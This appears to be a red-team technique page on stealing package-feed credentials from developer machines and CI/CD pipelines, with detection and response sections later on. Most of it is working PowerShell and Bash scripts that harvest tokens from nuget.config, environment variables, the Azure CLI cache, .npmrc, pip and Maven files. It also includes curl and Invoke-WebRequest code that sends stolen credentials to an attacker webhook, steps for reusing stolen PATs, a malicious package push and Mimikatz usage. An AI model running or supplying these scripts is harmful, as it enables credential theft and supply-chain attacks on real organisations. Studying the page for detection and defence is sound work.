MCADDF

[CA-TOKEN-017]: Package Source Credential Theft

1. METADATA

Attribute Details
Technique ID CA-TOKEN-017
MITRE ATT&CK v18.1 Steal Application Access Token (T1528)
Tactic Credential Access
Platforms Entra ID / DevOps / M365
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-08
Affected Versions Azure DevOps (All versions), NuGet 4.0+, .NET 4.5+, PowerShell 3.0+
Patched In Mitigation via credential management best practices
Author SERVTEPArtur Pchelnikau

Note: Sections 4 (Environmental Reconnaissance) and 6 (Atomic Red Team) not included because: (1) No specific Atomic test exists for NuGet credential theft in the public library, (2) Reconnaissance for package source credentials is implicit in execution methods. All section numbers have been dynamically renumbered based on applicability.


2. EXECUTIVE SUMMARY

Concept: Package source credential theft targets the authentication mechanisms used by developers and CI/CD systems to access private NuGet feeds, npm registries, Maven repositories, and other package management systems hosted on Azure DevOps or cloud-based infrastructure. Attackers who compromise a developer’s machine, CI/CD pipeline, or build agent can extract credentials stored in plaintext or weakly encrypted configuration files (e.g., nuget.config, .npm, .maven, pip.ini), authentication caches, or environment variables. These credentials (Personal Access Tokens, API keys, or service principal secrets) grant access to proprietary package sources and CI/CD automation, enabling unauthorized code injection, lateral movement, supply chain attacks, and data exfiltration.

Attack Surface:

Business Impact: Complete compromise of package repositories and CI/CD pipelines. An attacker with stolen package credentials can:

Technical Context: Package source credential theft typically occurs post-exploitation (after gaining initial access to a developer workstation, build agent, or cloud VM). The attack is rapid—credentials can be extracted in seconds—and has moderate-to-low detection likelihood if the attacker uses native tooling and avoids triggering EDR alerts. Reversibility is impossible once credentials are used; only remediation via credential rotation prevents ongoing abuse.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 2.1.3 / 2.2.2 Ensure credentials are not hard-coded in configuration files; Enforce credential management policies
DISA STIG SI-4 (WN10-00-000001) Monitor system for unauthorized access; implement secure secret storage
CISA SCuBA ID.AM-3 Asset management: Inventory and manage all authentication mechanisms
NIST 800-53 AC-2, SA-3 Account management; System development lifecycle security
GDPR Art. 32 Security of Processing; implement technical measures to protect personal data
DORA Art. 9 Protection and Prevention of information security incidents
NIS2 Art. 21 Cyber Risk Management Measures; incident response and monitoring
ISO 27001 A.6.1.2, A.9.2.3 Access control implementation; privileged access rights management
ISO 27005 Risk Scenario: “Compromise of Authentication Credentials” Unauthorized access via stolen tokens/secrets

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Extracting Credentials from nuget.config (Windows/Cross-Platform)

Supported Versions: All (Windows, macOS, Linux)

Step 1: Locate nuget.config Files

Objective: Discover all nuget.config files on the system that may contain package source credentials.

Command (Windows PowerShell):

# Search for nuget.config files in common locations
$configPaths = @(
    "$env:USERPROFILE\.nuget\nuget.config",
    "$env:APPDATA\.nuget\nuget.config",
    "$env:ProgramFiles\NuGet\Config",
    "C:\Program Files (x86)\NuGet\Config",
    "$env:USERPROFILE\AppData\Local\NuGet",
    (Get-ChildItem -Path $env:USERPROFILE -Filter "nuget.config" -Recurse -ErrorAction SilentlyContinue).FullName
)

foreach ($path in $configPaths) {
    if (Test-Path $path) {
        Write-Host "[+] Found: $path" -ForegroundColor Green
        Get-Item $path
    }
}

# Alternative: Search across entire filesystem (requires admin)
Get-ChildItem -Path C:\ -Filter "nuget.config" -Recurse -ErrorAction SilentlyContinue | Select-Object -Property FullName, LastWriteTime

Command (Linux/macOS Bash):

# Search for nuget.config in standard locations
find $HOME -name "nuget.config" -type f 2>/dev/null
find /etc -name "nuget.config" -type f 2>/dev/null
locate nuget.config 2>/dev/null

# Search across entire filesystem (requires time and permissions)
find / -name "nuget.config" -type f 2>/dev/null | head -20

Expected Output:

[+] Found: C:\Users\developer\.nuget\nuget.config
[+] Found: C:\Projects\MyProject\nuget.config

What This Means:

Step 2: Extract Credentials from nuget.config Files

Objective: Parse nuget.config XML and extract plaintext or weakly encrypted credentials.

Command (Windows PowerShell):

# Read and parse nuget.config
$configPath = "$env:USERPROFILE\.nuget\nuget.config"

if (Test-Path $configPath) {
    [xml]$config = Get-Content $configPath
    
    # Extract package source credentials
    $credentials = $config.configuration.packageSourceCredentials.ChildNodes
    
    foreach ($source in $credentials) {
        Write-Host "[+] Package Source: $($source.Name)" -ForegroundColor Yellow
        
        foreach ($cred in $source.ChildNodes) {
            $key = $cred.key
            $value = $cred.value
            
            if ($key -eq "Username") {
                Write-Host "    Username: $value" -ForegroundColor Green
            }
            elseif ($key -in @("ClearTextPassword", "Password")) {
                Write-Host "    $key`: $value" -ForegroundColor Red
            }
        }
    }
}

Command (Linux/macOS Bash):

CONFIG_PATH="$HOME/.nuget/nuget.config"

if [ -f "$CONFIG_PATH" ]; then
    echo "[+] Extracting credentials from $CONFIG_PATH"
    grep -A 5 "<packageSourceCredentials>" "$CONFIG_PATH" | grep -E "(Username|Password|ClearTextPassword)" | sed 's/.*value="\([^"]*\)".*/\1/'
fi

# Alternative using Python for XML parsing
python3 << 'EOF'
import xml.etree.ElementTree as ET

config_path = f"{os.path.expanduser('~')}/.nuget/nuget.config"
if os.path.exists(config_path):
    tree = ET.parse(config_path)
    root = tree.getroot()
    
    for source in root.findall('.//packageSourceCredentials'):
        for child in source:
            print(f"[+] Source: {child.tag}")
            for cred in child:
                print(f"    {cred.get('key')}: {cred.get('value')}")
EOF

Expected Output:

[+] Package Source: fabrikam-devops-artifacts
    Username: devops@company.com
    ClearTextPassword: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Exfiltrate Credentials

Objective: Steal extracted credentials for later use by the attacker.

Command (Windows PowerShell - Send via HTTPS):

# Exfiltrate credentials to attacker-controlled server
$credentials = "devops@company.com:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
$webhookUrl = "https://attacker.com/webhook"

$body = @{
    credentials = $credentials
    hostname = $env:COMPUTERNAME
    username = $env:USERNAME
    timestamp = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss")
} | ConvertTo-Json

try {
    Invoke-WebRequest -Uri $webhookUrl -Method POST -Body $body -ContentType "application/json" -UseBasicParsing
    Write-Host "[+] Credentials exfiltrated successfully" -ForegroundColor Green
}
catch {
    Write-Host "[-] Exfiltration failed: $_" -ForegroundColor Red
}

Command (Linux Bash - Using curl):

CREDS="devops@company.com:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
WEBHOOK_URL="https://attacker.com/webhook"
HOSTNAME=$(hostname)
USERNAME=$(whoami)
TIMESTAMP=$(date "+%Y-%m-%d %H:%M:%S")

curl -X POST \
  -H "Content-Type: application/json" \
  -d "{\"credentials\":\"$CREDS\",\"hostname\":\"$HOSTNAME\",\"username\":\"$USERNAME\",\"timestamp\":\"$TIMESTAMP\"}" \
  "$WEBHOOK_URL" 2>/dev/null

Expected Output:

[+] Credentials exfiltrated successfully

What This Means:


METHOD 2: Extracting Credentials from Environment Variables (CI/CD Pipelines)

Supported Versions: Azure DevOps, GitHub Actions, GitLab CI, Jenkins (All versions)

Step 1: Enumerate Environment Variables

Objective: Discover environment variables that contain PATs, API keys, or service principal secrets in CI/CD pipeline contexts.

Command (PowerShell in Azure Pipelines):

# List all environment variables (many CI/CD systems expose secrets as env vars)
Write-Host "[+] Environment Variables with potential credentials:" -ForegroundColor Yellow

# Common patterns for secrets in environment variables
$secretPatterns = @(
    "*TOKEN*",
    "*PASSWORD*",
    "*SECRET*",
    "*KEY*",
    "*PAT*",
    "*CREDENTIAL*",
    "*APIKEY*"
)

$allEnvVars = Get-ChildItem env:

foreach ($pattern in $secretPatterns) {
    $matches = $allEnvVars | Where-Object {$_.Name -like $pattern}
    
    foreach ($match in $matches) {
        Write-Host "    $($match.Name): $(($match.Value).Substring(0, [Math]::Min(20, $match.Value.Length)))..." -ForegroundColor Green
    }
}

# Dump entire environment for CI/CD tokens
Write-Host "`n[+] System.AccessToken (Azure Pipelines):" -ForegroundColor Yellow
if ($env:SYSTEM_ACCESSTOKEN) {
    Write-Host "    SYSTEM_ACCESSTOKEN: $($env:SYSTEM_ACCESSTOKEN.Substring(0, 20))..." -ForegroundColor Red
}

# Check for .NET-specific credentials
Write-Host "`n[+] NuGet Feed Credentials (from env vars):" -ForegroundColor Yellow
if ($env:NUGET_CREDENTIALPROVIDER_SESSIONTOKEN) {
    Write-Host "    NUGET_CREDENTIALPROVIDER_SESSIONTOKEN: Found" -ForegroundColor Red
}

Command (Bash in Azure Pipelines / GitHub Actions):

echo "[+] Environment Variables with potential credentials:"
env | grep -iE "(TOKEN|PASSWORD|SECRET|KEY|PAT|CREDENTIAL|APIKEY)" | while read line; do
    VAR_NAME=$(echo "$line" | cut -d'=' -f1)
    VAR_VALUE=$(echo "$line" | cut -d'=' -f2)
    if [ ! -z "$VAR_VALUE" ]; then
        echo "    $VAR_NAME: ${VAR_VALUE:0:20}..."
    fi
done

# Azure Pipelines-specific
echo ""
echo "[+] Azure Pipelines System.AccessToken:"
echo "    SYSTEM_ACCESSTOKEN: ${SYSTEM_ACCESSTOKEN:0:20}..."

# GitHub Actions-specific
echo ""
echo "[+] GitHub Actions secrets:"
env | grep "^GITHUB_TOKEN\|^INPUT_" | head -5

Expected Output:

[+] Environment Variables with potential credentials:
    SYSTEM_ACCESSTOKEN: eyJ0eXAiOiJKV1QiLCJhb...
    FEED_PAT: gqv6blyprd7yqrvyzx4a...
    AZURE_CLIENT_SECRET: abCdEf123456789gHiJk...

What This Means:

Step 2: Use Stolen Token to Access Package Feed

Objective: Authenticate to Azure Artifacts feed using the stolen PAT.

Command (PowerShell):

# Build credentials object from stolen PAT
$pat = "gqv6blyprd7yqrvyzx4a"
$base64pat = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$pat"))

$headers = @{
    "Authorization" = "Basic $base64pat"
}

# Query Azure Artifacts feed for packages
$feedUrl = "https://pkgs.dev.azure.com/company/_packaging/internal-feed/nuget/v3/index.json"

try {
    $response = Invoke-WebRequest -Uri $feedUrl -Headers $headers -UseBasicParsing
    Write-Host "[+] Successfully authenticated to feed" -ForegroundColor Green
    Write-Host "    Feed URL: $feedUrl" -ForegroundColor Yellow
}
catch {
    Write-Host "[-] Authentication failed: $_" -ForegroundColor Red
}

Command (Bash):

PAT="gqv6blyprd7yqrvyzx4a"
FEED_URL="https://pkgs.dev.azure.com/company/_packaging/internal-feed/nuget/v3/index.json"

# Encode PAT for Basic auth
ENCODED_PAT=$(echo -n ":$PAT" | base64)

# Query feed
curl -s -H "Authorization: Basic $ENCODED_PAT" "$FEED_URL" | head -20

echo "[+] Feed authenticated and queried"

Expected Output:

[+] Successfully authenticated to feed
    Feed URL: https://pkgs.dev.azure.com/company/_packaging/internal-feed/nuget/v3/index.json

What This Means:


METHOD 3: Credential Cache Extraction (macOS/Linux)

Supported Versions: macOS 10.12+, Linux (Ubuntu, CentOS, etc.)

Step 1: Extract Azure CLI Credentials Cache

Objective: Steal cached Azure credentials from ~/.azure directory.

Command (Bash):

AZURE_CONFIG="$HOME/.azure"

if [ -d "$AZURE_CONFIG" ]; then
    echo "[+] Extracting Azure CLI cached credentials..."
    
    # List cached subscriptions and access tokens
    if [ -f "$AZURE_CONFIG/msal_token_cache.json" ]; then
        echo "[+] Found MSAL token cache:"
        cat "$AZURE_CONFIG/msal_token_cache.json" | grep -o '"access_token":"[^"]*"' | head -3
    fi
    
    # Extract cloud configuration
    if [ -f "$AZURE_CONFIG/clouds.config" ]; then
        echo "[+] Cloud endpoints:"
        cat "$AZURE_CONFIG/clouds.config"
    fi
    
    # List all files
    echo "[+] Contents of ~/.azure:"
    ls -la "$AZURE_CONFIG/"
fi

Expected Output:

[+] Found MSAL token cache:
"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjQy..."

What This Means:

Step 2: Decode and Reuse JWT Tokens

Objective: Decode stolen JWT tokens to understand their permissions and validity.

Command (Bash + Python):

#!/bin/bash
# Decode JWT token from cache

TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjQy..."

python3 << 'EOF'
import json
import base64
import sys

def decode_jwt(token):
    try:
        # JWT format: header.payload.signature
        parts = token.split('.')
        
        # Decode payload (add padding if needed)
        payload = parts[1] + "=" * (4 - len(parts[1]) % 4)
        decoded = base64.urlsafe_b64decode(payload)
        
        data = json.loads(decoded)
        print("[+] JWT Decoded:")
        print(json.dumps(data, indent=2))
        
        # Extract useful info
        print("\n[+] Token Details:")
        print(f"    Issued at (iat): {data.get('iat', 'N/A')}")
        print(f"    Expires (exp): {data.get('exp', 'N/A')}")
        print(f"    User: {data.get('upn', 'N/A')}")
        print(f"    App ID: {data.get('appid', 'N/A')}")
        
    except Exception as e:
        print(f"[-] Error decoding token: {e}")

token = sys.argv[1] if len(sys.argv) > 1 else "$TOKEN"
decode_jwt(token)
EOF

Expected Output:

[+] JWT Decoded:
{
  "aud": "https://management.azure.com/",
  "iss": "https://sts.windows.net/tenant-id/",
  "iat": 1704710400,
  "exp": 1704714000,
  "upn": "developer@company.onmicrosoft.com",
  "appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
  ...
}

[+] Token Details:
    Issued at (iat): 1704710400
    Expires (exp): 1704714000
    User: developer@company.onmicrosoft.com
    App ID: 04b07795-8ddb-461a-bbee-02f9e1bf7b46

What This Means:


METHOD 4: Package Manager Credential File Extraction (npm, pip, Maven)

Supported Versions: npm 5.0+, pip 19.0+, Maven 3.0+

Step 1: Extract npm Credentials

Objective: Steal npm registry tokens from ~/.npmrc.

Command (Bash):

NPM_RC="$HOME/.npmrc"

if [ -f "$NPM_RC" ]; then
    echo "[+] npm credentials found:"
    cat "$NPM_RC" | grep -E "(_authToken|_auth|password)" | grep -v "^;" | grep -v "^#"
fi

# Also check global npmrc
if [ -f "/etc/npmrc" ]; then
    echo "[+] Global npm config:"
    cat "/etc/npmrc" | grep -E "(_authToken|_auth)"
fi

# Check npm cache directory for token usage
echo "[+] npm cache token usage:"
find "$HOME/.npm" -type f -exec grep -l "authToken" {} \; 2>/dev/null | head -5

Expected Output:

//registry.npmjs.org/:_authToken=npm_abcdef123456789ghijklmnop
//mycompany.jfrog.io/artifactory/api/npm/npm-local/:_auth=YWRtaW46aWZyb2d0ZGVmYXVsdA==

What This Means:

Step 2: Extract pip Credentials

Objective: Steal pip repository credentials from config files and environment.

Command (Bash):

# Check pip config
PIP_CONFIG="$HOME/.pip/pip.conf"
if [ -f "$PIP_CONFIG" ]; then
    echo "[+] pip config:"
    cat "$PIP_CONFIG" | grep -iE "(username|password|token|index)"
fi

# Check .pypirc (Python package index credentials)
PYPIRC="$HOME/.pypirc"
if [ -f "$PYPIRC" ]; then
    echo "[+] PyPI credentials:"
    cat "$PYPIRC" | grep -iE "(username|password|repository)"
fi

# Check environment variables
echo "[+] Python/pip environment secrets:"
env | grep -iE "(PIP_|TWINE_|PYPI_)" 

Expected Output:

[+] pip config:
[global]
index-url = https://username:password@pypi.company.com/simple/
index-servers =
    pypi
    company-pypi

[pypi]
repository = https://upload.pypi.org/legacy/
username = myuser
password = mypassword

Step 3: Extract Maven Credentials

Objective: Steal Maven repository credentials from ~/.m2/settings.xml.

Command (Bash):

M2_SETTINGS="$HOME/.m2/settings.xml"

if [ -f "$M2_SETTINGS" ]; then
    echo "[+] Maven credentials found:"
    grep -A 2 "<server>" "$M2_SETTINGS" | grep -E "(id|username|password)"
fi

Expected Output:

<id>company-artifacts</id>
<username>devops</username>
<password>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</password>

7. TOOLS & COMMANDS REFERENCE

Azure CLI

Version: 2.40+
Minimum Version: 2.0
Supported Platforms: Windows, macOS, Linux

Installation (Windows):

# Using WinGet
winget install Microsoft.AzureCLI

# Using Chocolatey
choco install azure-cli

# Manual download
# Visit https://aka.ms/InstallAzureCLIDev

Usage:

# Login with stolen token
az devops login --organization https://dev.azure.com/company --token "gqv6blyprd7yqrvyzx4a"

# List artifact feeds
az artifacts universal list-feed

# Download packages from feed
az artifacts universal download --feed internal-feed --name MyPackage --version 1.0.0

NuGet.exe

Version: 5.0+
Minimum Version: 4.0
Supported Platforms: Windows, macOS, Linux (.NET CLI)

Installation:

# Download directly
Invoke-WebRequest -Uri "https://dist.nuget.org/win-x86-commandline/latest/nuget.exe" -OutFile "C:\Tools\nuget.exe"

# Or use dotnet CLI (preferred)
dotnet tool install --global nuget

Usage:

# Add package source with stolen credentials
nuget sources add -name "private-feed" -source "https://pkgs.dev.azure.com/company/_packaging/internal-feed/nuget/v3/index.json" -Username "PAT_USERNAME" -Password "gqv6blyprd7yqrvyzx4a"

# List packages from feed
nuget list -Source "private-feed"

# Push malicious package (supply chain attack)
nuget push "MaliciousPackage.1.0.0.nupkg" -Source "private-feed"

Mimikatz (Optional)

Version: Latest (2.2.0-20220519)
For: Extracting cached credentials from memory and credential manager

Installation:

# Download from GitHub
$repo = "gentilkiwi/mimikatz"
$release = Invoke-WebRequest -Uri "https://api.github.com/repos/$repo/releases/latest" | ConvertFrom-Json
$zip = $release.assets[0].browser_download_url
Invoke-WebRequest -Uri $zip -OutFile "mimikatz.zip"
Expand-Archive -Path "mimikatz.zip" -DestinationPath "C:\Tools\mimikatz"

Usage (Extracting CredMan):

mimikatz # token::list  # List access tokens in memory
mimikatz # dpapi::cache  # Extract cached credentials
mimikatz # vault::list  # List Windows Credential Manager entries

8. SPLUNK DETECTION RULES

Rule 1: Suspicious nuget.config File Access

Rule Configuration:

SPL Query:

index=main sourcetype="WinEventLog:Security" EventID=4663 ObjectName="*nuget.config"
| stats count by Account, ObjectName, Accesses, Computer
| where count > 3
| table Computer, Account, ObjectName, count, Accesses

What This Detects:

Manual Configuration Steps (Splunk):

  1. Log into Splunk WebSearch & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to Number of results > 3
  6. Configure ActionSend email to SOC team

Rule 2: Environment Variables Containing Credentials

Rule Configuration:

SPL Query (Azure Pipelines):

index=azure_activity OperationName="Build completed" 
| search "System.AccessToken" OR "FEED_PAT" OR "SYSTEM_ACCESSTOKEN"
| table BuildID, InitiatedBy, System.AccessToken, TimeGenerated

SPL Query (Generic - Log Analysis):

index=main sourcetype="powershell" CommandLine="*Environment*TOKEN*" OR CommandLine="*env:*PASSWORD*"
| table TimeGenerated, User, CommandLine, ComputerName

What This Detects:

Source: Microsoft Security Engineering, Splunk Threat Research

False Positive Analysis


9. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious Package Feed Access via Stolen Token

Rule Configuration:

KQL Query:

SigninLogs
| where AppDisplayName has_any("Azure DevOps", "Artifacts", "NuGet")
| where ClientAppUsed == "Other clients" or UserAgent has "nuget" or UserAgent has "dotnet"
| join kind=inner (
    IdentityInfo
    | project UserPrincipalName, isGuest
) on UserPrincipalName
| where isGuest == false
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, ClientAppUsed, Location
| where IPAddress !in ("WHITELIST_IPS")
| summarize LoginCount = count() by UserPrincipalName, IPAddress, TimeGenerated bin=5m
| where LoginCount > 5

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious Package Feed Token Usage
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Suspicious Package Feed Token Usage" `
  -Query @"
SigninLogs
| where AppDisplayName has_any("Azure DevOps", "Artifacts", "NuGet")
| where ClientAppUsed == "Other clients"
"@ `
  -Severity "High" `
  -Enabled $true

Source: Microsoft Sentinel GitHub


10. WINDOWS EVENT LOG MONITORING

Event ID: 4663 (File Object Access)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable: Audit File SystemSuccess and Failure
  4. Set filter for specific files via File Auditing (SACL):
    # Add SACL to nuget.config
    icacls "C:\Users\developer\.nuget\nuget.config" /grant:r "Everyone:(OI)(CI)F" /audit:s
    
  5. Run gpupdate /force on target machines

Expected Log Entry:

Event ID: 4663
Task Category: File System
Accesses: Read Data (or Write Data)
ObjectName: C:\Users\developer\.nuget\nuget.config

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Immediate (0-1 hour):

    Isolate:

    # If machine is compromised, disconnect from network
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false
    

    Rotate Credentials:

    # Revoke all PATs for affected user
    az devops login --organization https://dev.azure.com/company --token "NEW_ADMIN_TOKEN"
    az devops user show --user-id affected-user@company.com
       
    # Manually revoke PATs: Go to Azure DevOps → User Settings → Personal Access Tokens → Revoke All
    

    Collect Evidence:

    # Export Security Event Log
    wevtutil epl Security C:\Evidence\Security.evtx
       
    # Copy nuget.config files
    Copy-Item -Path "$env:USERPROFILE\.nuget\*" -Destination "C:\Evidence\" -Recurse
       
    # Export PowerShell history
    Copy-Item -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\*" -Destination "C:\Evidence\"
    
  2. Short-term (1-8 hours):

    Investigate:

    • Query Sentinel for all logins using the stolen PAT
    • Check Azure DevOps audit logs for malicious package pushes
    • Review build pipeline logs for credential exposure

    Remediate:

    # Force password reset for affected user
    Set-AzureADUserPassword -ObjectId $userId -Password (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "user", (ConvertTo-SecureString -String "NewPassword123!" -AsPlainText -Force)).Password -EnforceChangePasswordPolicy $true
       
    # Invalidate all refresh tokens
    Revoke-AzureADUserAllRefreshToken -ObjectId $userId
    
  3. Long-term (8+ hours):

    Monitor:

    • Alert on any PAT creation for affected users
    • Monitor package feed for suspicious package versions
    • Track all API calls from the organization for 30 days

Step Phase Technique Description
1 Initial Access IA-PHISH-001 Phishing attack to compromise developer workstation or CI/CD agent
2 Execution CA-DUMP-001 LSASS memory dump to extract cached credentials
3 Current Step [CA-TOKEN-017] Package Source Credential Theft
4 Lateral Movement CA-TOKEN-001 Use stolen token to access Azure Management APIs
5 Persistence PERSIST-ACCT-005 Create persistent app registration with stolen service principal
6 Impact Supply Chain Attack Publish backdoored packages to compromise downstream consumers

17. REAL-WORLD EXAMPLES

Example 1: SolarWinds Compromise (2020)

Example 2: NPM Package Typosquatting Campaign (2023)

Example 3: Scattered Spider Campaign (2023-2024)